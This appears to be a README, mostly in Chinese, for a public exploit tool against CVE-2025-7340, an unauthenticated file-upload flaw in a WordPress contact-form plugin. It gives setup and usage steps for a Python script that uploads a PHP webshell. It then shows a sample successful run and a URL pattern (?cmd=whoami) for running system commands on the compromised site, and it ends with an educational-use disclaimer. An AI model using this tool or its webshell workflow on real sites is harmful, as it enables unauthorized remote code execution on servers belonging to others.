CVE: CVE-2025-7340
CVSS: 9.8 (严重)
WordPress 插件 HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. 由于 temp_file_upload 函数缺少文件类型验证,在包括 2.2.1 在内的所有版本中均存在任意文件上传漏洞。
这允许未认证的攻击者向服务器上传任意文件,从而可能导致远程代码执行 (RCE)。
此仓库包含一个 Python 漏洞利用脚本,可自动发现存在漏洞的表单并向受影响站点上传 WebShell。
该脚本能智能检测所需参数(nonce、form_id、ajax endpoint),并将 PHP Shell 上传到漏洞路径。
✅ 漏洞表单 URL 示例:
http://target.com/contact/
✅ 易受攻击的表单必须位于您传给 -u 选项的页面上。
运行脚本之前,请安装所需的 Python 模块:
pip install -r requirements.txt
requirements.txt 的内容:
requests
colorama
usage: CVE-2025-7340.py [-h]
Exploit for CVE-2025-7340 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target URL e.g http(s)://target.com
| 选项 | 描述 |
|---|---|
-h, --help | 显示此帮助消息并退出 |
-u, --url URL | 目标 URL,例如 http(s)://target.com/contact |
利用成功后,您可以在给定路径访问上传的 Shell。
附加 ?cmd=<your_command> 以执行系统命令。
✅ 示例:
http://target.com/wp-content/uploads/ht_form/temp/shell.php?cmd=whoami
Starting exploit against target...
Fetching target page...
Extracting parameters...
Extracted Nonce: 346c441903
AJAX Endpoint: http://nxploit.ddev.site/wp-admin/admin-ajax.php
Form ID: 86
Generating webshell...
Uploading shell, please wait...
[+] Exploit Successfully!
Go to: wp-content/uploads/ht_form/temp/687590d90ac1c-shell.php
Exploit by: Khaled Alenazi (Nxploited) - GitHub: https://github.com/Nxploited
本工具仅用于教育和研究目的。
作者不对任何因使用或滥用此代码而造成的损害负责。
在对任何系统进行测试之前,请务必获得明确许可。
Khaled Alenazi (Nxploited)
GitHub: Nxploited